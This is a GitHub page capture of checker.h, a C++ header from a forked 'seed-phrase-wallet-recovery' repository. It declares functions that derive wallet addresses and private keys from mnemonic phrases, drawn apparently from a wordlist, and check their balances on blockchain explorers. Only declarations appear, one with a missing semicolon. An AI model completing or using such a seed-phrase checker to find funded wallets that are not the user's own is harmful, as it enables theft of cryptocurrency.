forked from universodoluarwest/seed-phrase-wallet-recovery
-
Notifications
You must be signed in to change notification settings - Fork 0
/
checker.h
30 lines (22 loc) · 984 Bytes
/
checker.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <Windows.h>
#include <Wininet.h>
#include "wordlist.h"
struct balance
{
float btc, eth, ltc, doge;
};
std::vector<std::string> websites = { "https://blockscan.com/", "https://www.blockchain.com/explorer", "https://etherscan.io/", "https://www.blockchain.com/explorer", "https://privatekeyfinder.io/mnemonic-converter", "https://mempool.space/", "https://live.blockcypher.com/ltc/", "https://dogechain.info/"};
namespace inet
{
std::string read_url(std::string url);
DWORD post_request(std::string url, std::string request, DWORD* code, std::string* response);
bool webstatus_check(const std::string& szAddress, DWORD* pdwWebStat)
};
std::string get_wallet_address_from_mnemonic(std::string mnemonic);
std::string get_private_key_from_mnemonic(std::string mnemonic);
DWORD check_wallet(std::string mnemonic, balance* wallet_balance);
bool is_empty(balance b);
float get_btc_price();
float get_eth_price();
float get_doge_price();
float get_ltc_price();